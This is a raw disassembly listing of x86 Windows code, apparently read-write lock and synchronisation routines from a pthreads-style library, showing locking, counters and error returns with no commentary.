Attributes: noreturn sub_432C80 proc near ; CODE XREF: sub_401DEDj mov eax, dword_5103C4 push ebx push edi push eax call sub_401190 sub_432C80 endp ; --------------------------------------------------------------------------- db 8Bh, 5Ch, 24h ; --------------------------------------------------------------------------- adc [ebx-47CFB3Ch], al add cl, [ebx-7CF28B08h] sti add [eax+ecx+6Ah], esi add [eax-7F8E2918h], edx ja short loc_432C2E push dword ptr [esi+eax-0Ah] inc edi jl short near ptr loc_432CB0+1 loc_432CB0: ; CODE XREF: ___:00432CAEj jz short loc_432CD5 push esi mov eax, ebx xor esi, esi dec eax jz short loc_432CC2 dec eax jnz short loc_432CC5 or esi, 0FFFFFFFFh jmp short loc_432CC5 ; --------------------------------------------------------------------------- loc_432CC2: ; CODE XREF: ___:00432CB8j mov esi, [edi+14h] loc_432CC5: ; CODE XREF: ___:00432CBBj ; ___:00432CC0j call sub_4017CB push esi call near ptr 77C3A307h nop add esp, 4 pop esi loc_432CD5: ; CODE XREF: ___:loc_432CB0j push 1 call sub_401B22 ; --------------------------------------------------------------------------- dd 8304C483h, 57533CC7h, 408AE890h, 90907780h, 90909090h dd 8 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_432D10 proc near ; CODE XREF: sub_401B22j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_401122 sub_432D10 endp ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_432D2F loc_432D22: ; CODE XREF: ___:00432D2Dj push esi call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_432D22 loc_432D2F: ; CODE XREF: ___:00432D20j pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432D50: ; CODE XREF: ___:00401DF7j xor eax, eax retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432D70 proc near ; CODE XREF: sub_4012D0j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] lock cmpxchg [ecx], edx mov [ebp+var_4], eax pop edx pop ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_432D70 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432DB0 proc near ; CODE XREF: sub_401C3Aj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 lea eax, [esp+8+var_4] lea ecx, [esp+8+var_8] push esi push eax push ecx xor esi, esi nop call near ptr 279033Ch push eax nop call near ptr 2750000h test eax, eax jz short loc_432DF2 mov edx, [esp+0Ch+var_8] xor ecx, ecx mov eax, 1 loc_432DDC: ; CODE XREF: sub_432DB0+33j test eax, edx jz short loc_432DE1 inc ecx loc_432DE1: ; CODE XREF: sub_432DB0+2Ej shl eax, 1 jnz short loc_432DDC mov edx, [esp+0Ch+arg_0] mov eax, esi pop esi mov [edx], ecx add esp, 8 retn ; --------------------------------------------------------------------------- loc_432DF2: ; CODE XREF: sub_432DB0+1Fj mov eax, 0Bh pop esi add esp, 8 retn sub_432DB0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E20 proc near ; CODE XREF: sub_40185Cj arg_0 = dword ptr 4 push esi push offset dword_510980 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_432E54 push esi push ecx call sub_401F91 add esp, 8 mov esi, eax push offset dword_510980 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_432E54: ; CODE XREF: sub_432E20+17j test eax, eax jnz short loc_432E5D mov esi, 16h loc_432E5D: ; CODE XREF: sub_432E20+36j push offset dword_510980 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_432E20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E90 proc near ; CODE XREF: sub_401861j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+14h] lea ecx, [esi+4] neg eax push ecx mov [esi+0Ch], eax mov dword ptr [esi+14h], 0 call sub_4010C3 push esi call sub_4010C3 add esp, 8 pop esi retn sub_432E90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432ED0 proc near ; CODE XREF: sub_401F91j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi xor esi, esi test eax, eax jnz short loc_432EE2 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432EE2: ; CODE XREF: sub_432ED0+9j mov eax, [esp+4+arg_4] push ebx test eax, eax push edi jz short loc_432F02 cmp dword ptr [eax], 0 jz short loc_432F02 mov ecx, [esp+0Ch+arg_0] mov edi, 16h mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F02: ; CODE XREF: sub_432ED0+1Aj ; sub_432ED0+1Fj push 1Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_432F26 mov ecx, [esp+0Ch+arg_0] mov edi, 0Ch mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F26: ; CODE XREF: sub_432ED0+43j push 0 push esi mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov dword ptr [esi+14h], 0 call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_432F84 lea ebx, [esi+4] push eax push ebx call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_432F7B push eax lea eax, [esi+8] push eax call sub_40154B mov edi, eax add esp, 8 test edi, edi jz short loc_432F9C push ebx call sub_402252 add esp, 4 loc_432F7B: ; CODE XREF: sub_432ED0+8Dj push esi call sub_402252 add esp, 4 loc_432F84: ; CODE XREF: sub_432ED0+7Aj push esi call near ptr 77C2C21Bh nop mov ecx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F9C: ; CODE XREF: sub_432ED0+A0j mov ecx, [esp+0Ch+arg_0] xor edi, edi mov eax, edi mov dword ptr [esi+18h], 0FACADE2h pop edi mov [ecx], esi pop ebx pop esi retn sub_432ED0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433000: ; CODE XREF: ___:004018BBj mov eax, [esp+4] push ebx push ebp push esi push edi xor ebx, ebx xor edi, edi xor ebp, ebp test eax, eax jz loc_43313B mov esi, [eax] test esi, esi jz loc_43313B cmp esi, 0FFFFFFFFh jz loc_4330F7 cmp dword ptr [esi+18h], 0FACADE2h jnz loc_43313B push esi call sub_402248 add esp, 4 test eax, eax jnz loc_433140 lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_433069 push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_433069: ; CODE XREF: ___:00433057j mov eax, [esi+10h] test eax, eax jg short loc_4330DD mov eax, [esi+0Ch] mov ecx, [esi+14h] cmp eax, ecx jg short loc_4330DD push edi mov dword ptr [esi+18h], 0 call sub_4010C3 add esp, 4 mov ebx, eax test ebx, ebx push esi jz short loc_4330A0 call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_4330A0: ; CODE XREF: ___:0043308Fj call sub_4010C3 add esp, 4 test eax, eax jnz loc_433140 mov ecx, [esp+14h] lea edx, [esi+8] push edx mov [ecx], eax call sub_401AA5 push edi mov ebx, eax call sub_402252 push esi mov edi, eax call sub_402252 push esi mov ebp, eax call near ptr 77C2C21Bh nop add esp, 10h jmp short loc_433123 ; --------------------------------------------------------------------------- loc_4330DD: ; CODE XREF: ___:0043306Ej ; ___:00433078j push edi call sub_4010C3 push esi mov ebx, eax call sub_4010C3 add esp, 8 mov edi, eax mov ebp, 10h jmp short loc_433123 ; --------------------------------------------------------------------------- loc_4330F7: ; CODE XREF: ___:00433023j push offset dword_510980 nop call near ptr 7C901005h mov eax, [esp+14h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_433113 mov dword ptr [eax], 0 jmp short loc_433118 ; --------------------------------------------------------------------------- loc_433113: ; CODE XREF: ___:00433109j mov ebx, 10h loc_433118: ; CODE XREF: ___:00433111j push offset dword_510980 nop call near ptr 7C9010EDh loc_433123: ; CODE XREF: ___:004330DBj ; ___:004330F5j test ebx, ebx jz short loc_43312E pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43312E: ; CODE XREF: ___:00433125j test edi, edi mov eax, edi jnz short loc_433140 pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43313B: ; CODE XREF: ___:00433010j ; ___:0043301Aj ... mov eax, 16h loc_433140: ; CODE XREF: ___:00433041j ; ___:004330AAj ... pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_4331B0: ; CODE XREF: ___:00401EA6j push esi push 4 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 test eax, eax jnz short loc_4331D3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4331D3: ; CODE XREF: ___:004331C2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433200: ; CODE XREF: ___:0040179Ej mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_433221 mov eax, [ecx] test eax, eax jz short loc_433221 push eax mov [ecx], esi call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_433221: ; CODE XREF: ___:00433209j ; ___:0043320Fj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433240: ; CODE XREF: ___:00401136j mov eax, [esp+4] test eax, eax jz short loc_43325D mov eax, [eax] test eax, eax jz short loc_43325D mov ecx, [esp+8] test ecx, ecx jz short loc_43325D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43325D: ; CODE XREF: ___:00433246j ; ___:0043324Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433280: ; CODE XREF: ___:004015A5j mov eax, [esp+4] test eax, eax jz short loc_4332AA mov ecx, [eax] test ecx, ecx jz short loc_4332AA mov eax, [esp+8] cmp eax, 1 jz short loc_43329E test eax, eax jnz short loc_4332AA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43329E: ; CODE XREF: ___:00433295j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_4332AA: ; CODE XREF: ___:00433286j ; ___:0043328Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4332C0: ; CODE XREF: ___:00402095j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43337A mov eax, [esi] test eax, eax jz loc_43337A cmp eax, 0FFFFFFFFh jnz short loc_4332F4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4332F4 cmp eax, 10h jnz loc_43337F loc_4332F4: ; CODE XREF: ___:004332DCj ; ___:004332E9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43337A push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_43337F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43336D lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_43333D push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43333D: ; CODE XREF: ___:0043332Cj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43336D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43336D: ; CODE XREF: ___:0043331Aj ; ___:0043335Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43337A: ; CODE XREF: ___:004332C9j ; ___:004332D3j ... mov eax, 16h loc_43337F: ; CODE XREF: ___:004332EEj ; ___:0043330Aj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4333D0: ; CODE XREF: ___:004016A4j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43349F mov eax, [esi] test eax, eax jz loc_43349F cmp eax, 0FFFFFFFFh jnz short loc_433404 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433404 cmp eax, 10h jnz loc_4334A4 loc_433404: ; CODE XREF: ___:004333ECj ; ___:004333F9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_43349F mov ebx, [esp+14h] push ebx push esi call sub_401BD6 add esp, 8 test eax, eax jnz short loc_4334A4 mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_433492 lea edi, [esi+4] push ebx push edi call sub_401BD6 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_433462 cmp ebx, 274Ch jnz short loc_433453 inc dword ptr [esi+14h] loc_433453: ; CODE XREF: ___:0043344Ej push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433462: ; CODE XREF: ___:00433446j mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_433492 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433492: ; CODE XREF: ___:00433433j ; ___:00433481j push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43349F: ; CODE XREF: ___:004333D9j ; ___:004333E3j ... mov eax, 16h loc_4334A4: ; CODE XREF: ___:004333FEj ; ___:00433423j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4334F0: ; CODE XREF: ___:004015D2j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_4335E6 mov eax, [esi] test eax, eax jz loc_4335E6 cmp eax, 0FFFFFFFFh jnz short loc_433527 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433527 cmp eax, 10h jnz loc_4335EB loc_433527: ; CODE XREF: ___:0043350Fj ; ___:0043351Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4335E6 push esi call sub_402248 add esp, 4 test eax, eax jnz loc_4335EB lea ebp, [esi+4] push ebp call sub_402248 mov edi, eax add esp, 4 test edi, edi jz short loc_43356B push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43356B: ; CODE XREF: ___:00433557j mov eax, [esi+10h] test eax, eax jnz short loc_4335DA mov eax, [esi+14h] test eax, eax jle short loc_433588 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_433588: ; CODE XREF: ___:00433577j mov eax, [esi+0Ch] test eax, eax jle short loc_4335DA neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401861 push eax call sub_401663 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_4335AB: ; CODE XREF: ___:004335C0j push ebp push ebx call sub_401203 mov edi, eax add esp, 8 test edi, edi jnz short loc_4335C2 mov eax, [esi+14h] test eax, eax jl short loc_4335AB loc_4335C2: ; CODE XREF: ___:004335B9j xor ecx, ecx test edi, edi setnz cl push ecx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_4335DD mov [esi+0Ch], edi loc_4335DA: ; CODE XREF: ___:00433570j ; ___:0043358Dj inc dword ptr [esi+10h] loc_4335DD: ; CODE XREF: ___:004335D5j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4335E6: ; CODE XREF: ___:004334FCj ; ___:00433506j ... mov eax, 16h loc_4335EB: ; CODE XREF: ___:00433521j ; ___:00433541j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_433650: ; CODE XREF: ___:00401960j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_433751 mov eax, [esi] test eax, eax jz loc_433751 cmp eax, 0FFFFFFFFh jnz short loc_433687 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433687 cmp eax, 10h jnz loc_433756 loc_433687: ; CODE XREF: ___:0043366Fj ; ___:0043367Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_433751 mov edi, [esp+20h] push edi push esi call sub_401BD6 add esp, 8 test eax, eax jnz loc_433756 lea ebp, [esi+4] push edi push ebp call sub_401BD6 mov edi, eax add esp, 8 test edi, edi jz short loc_4336D1 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4336D1: ; CODE XREF: ___:004336BDj mov eax, [esi+10h] test eax, eax jnz short loc_433745 mov eax, [esi+14h] test eax, eax jle short loc_4336EE mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_4336EE: ; CODE XREF: ___:004336DDj mov eax, [esi+0Ch] test eax, eax jle short loc_433745 neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401861 push eax call sub_401663 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_433711: ; CODE XREF: ___:0043372Bj mov ecx, [esp+24h] push ecx push ebp push ebx call sub_4011E0 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_43372D mov eax, [esi+14h] test eax, eax jl short loc_433711 loc_43372D: ; CODE XREF: ___:00433724j xor edx, edx test edi, edi setnz dl push edx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_433748 mov [esi+0Ch], edi loc_433745: ; CODE XREF: ___:004336D6j ; ___:004336F3j inc dword ptr [esi+10h] loc_433748: ; CODE XREF: ___:00433740j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_433751: ; CODE XREF: ___:0043365Cj ; ___:00433666j ... mov eax, 16h loc_433756: ; CODE XREF: ___:00433681j ; ___:004336A6j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4337B0: ; CODE XREF: ___:004015C8j mov eax, [esp+4] push ebx push esi push edi test eax, eax jz short loc_433836 mov esi, [eax] test esi, esi jz short loc_433836 cmp esi, 0FFFFFFFFh jnz short loc_4337CC pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4337CC: ; CODE XREF: ___:004337C4j cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_433836 mov eax, [esi+10h] test eax, eax jnz short loc_433814 lea ebx, [esi+4] push ebx call sub_402248 mov edi, eax add esp, 4 test edi, edi jz short loc_4337F2 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4337F2: ; CODE XREF: ___:004337ECj mov eax, [esi+14h] inc eax mov [esi+14h], eax jnz short loc_433809 add esi, 8 push esi call sub_401E6F add esp, 4 mov edi, eax loc_433809: ; CODE XREF: ___:004337F9j push ebx call sub_4010C3 add esp, 4 jmp short loc_43382C ; --------------------------------------------------------------------------- loc_433814: ; CODE XREF: ___:004337DAj dec eax mov [esi+10h], eax lea eax, [esi+4] push eax call sub_4010C3 push esi mov edi, eax call sub_4010C3 add esp, 8 loc_43382C: ; CODE XREF: ___:00433812j test edi, edi jz short loc_43383B mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433836: ; CODE XREF: ___:004337B9j ; ___:004337BFj ... mov eax, 16h loc_43383B: ; CODE XREF: ___:0043382Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_433870: ; CODE XREF: ___:0040153Cj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43392A mov eax, [esi] test eax, eax jz loc_43392A cmp eax, 0FFFFFFFFh jnz short loc_4338A4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4338A4 cmp eax, 10h jnz loc_43392F loc_4338A4: ; CODE XREF: ___:0043388Cj ; ___:00433899j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43392A push esi call sub_401785 add esp, 4 test eax, eax jnz short loc_43392F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43391D lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_4338ED push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4338ED: ; CODE XREF: ___:004338DCj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43391D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43391D: ; CODE XREF: ___:004338CAj ; ___:0043390Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43392A: ; CODE XREF: ___:00433879j ; ___:00433883j ... mov eax, 16h loc_43392F: ; CODE XREF: ___:0043389Ej ; ___:004338BAj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433980: ; CODE XREF: ___:00401FF0j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_433A61 mov eax, [esi] test eax, eax jz loc_433A61 cmp eax, 0FFFFFFFFh jnz short loc_4339B4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4339B4 cmp eax, 10h jnz loc_433A66 loc_4339B4: ; CODE XREF: ___:0043399Cj ; ___:004339A9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_433A61 push esi call sub_401785 add esp, 4 test eax, eax jnz loc_433A66 lea ebx, [esi+4] push ebx call sub_401785 mov edi, eax add esp, 4 test edi, edi jz short loc_4339F9 push esi call sub_4010C3 add esp, 4 test eax, eax jnz short loc_433A66 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4339F9: ; CODE XREF: ___:004339E4j mov eax, [esi+10h] test eax, eax jnz short loc_433A49 mov eax, [esi+14h] test eax, eax jle short loc_433A16 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_433A16: ; CODE XREF: ___:00433A05j mov eax, [esi+0Ch] test eax, eax jle short loc_433A54 push ebx call sub_4010C3 add esp, 4 mov edi, eax test edi, edi push esi jz short loc_433A3B call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A3B: ; CODE XREF: ___:00433A2Bj call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jnz short loc_433A4E loc_433A49: ; CODE XREF: ___:004339FEj mov edi, 10h loc_433A4E: ; CODE XREF: ___:00433A47j mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A54: ; CODE XREF: ___:00433A1Bj mov eax, edi mov dword ptr [esi+10h], 1 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A61: ; CODE XREF: ___:00433989j ; ___:00433993j ... mov eax, 16h loc_433A66: ; CODE XREF: ___:004339AEj ; ___:004339CEj ... pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433AB0: ; CODE XREF: ___:00401C0Dj mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jz short loc_433AC7 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_433AC7: ; CODE XREF: ___:00433ABFj mov eax, [esp+8] neg eax sbb eax, eax and eax, 30h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433AF0: ; CODE XREF: ___:00401EB5j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433B17 mov eax, [esp+8] test eax, eax jz short loc_433B17 cmp eax, 2 jbe short loc_433B17 mov dword ptr [eax], 0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_433B17: ; CODE XREF: ___:00433AFFj ; ___:00433B07j ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433B30: ; CODE XREF: ___:0040117Cj push ebx mov ebx, [esp+8] push esi push edi push ebx call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433B76 mov edi, [esp+14h] test edi, edi jz short loc_433B76 mov esi, [edi] push eax call sub_401555 add esp, 4 cmp esi, eax jl short loc_433B76 push 0 call sub_401442 add esp, 4 cmp esi, eax jg short loc_433B76 mov eax, [ebx] mov ecx, [edi] pop edi pop esi mov [eax+10h], ecx xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_433B76: ; CODE XREF: ___:00433B42j ; ___:00433B4Aj ... pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433BA0: ; CODE XREF: ___:00401EFBj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433BC5 mov eax, [esp+0Ch] test eax, eax jz short loc_433BC5 mov ecx, [esi] pop esi mov edx, [ecx+10h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_433BC5: ; CODE XREF: ___:00433BB0j ; ___:00433BB8j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433BE0: ; CODE XREF: ___:004015BEj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_433BF9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433BF9: ; CODE XREF: ___:00433BF0j mov eax, [esp+0Ch] test eax, eax jz short loc_433C0D cmp eax, 1 jz short loc_433C0D mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433C0D: ; CODE XREF: ___:00433BFFj ; ___:00433C04j mov ecx, [esi] pop esi mov [ecx+14h], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433C30: ; CODE XREF: ___:004019E7j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433C55 mov eax, [esp+0Ch] test eax, eax jz short loc_433C55 mov ecx, [esi] pop esi mov edx, [ecx+14h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_433C55: ; CODE XREF: ___:00433C40j ; ___:00433C48j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433C70 proc near ; CODE XREF: sub_401050j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_433CB5 mov eax, [esp+4+arg_4] test eax, eax jl short loc_433CB0 cmp eax, 2 jg short loc_433CB0 test eax, eax jz short loc_433C9C mov eax, 30h pop esi retn ; --------------------------------------------------------------------------- loc_433C9C: ; CODE XREF: sub_433C70+23j mov eax, [esp+4+arg_8] mov ecx, [eax] push ecx push 0 push esi call sub_4020D1 add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_433CB0: ; CODE XREF: sub_433C70+1Aj ; sub_433C70+1Fj mov eax, 16h loc_433CB5: ; 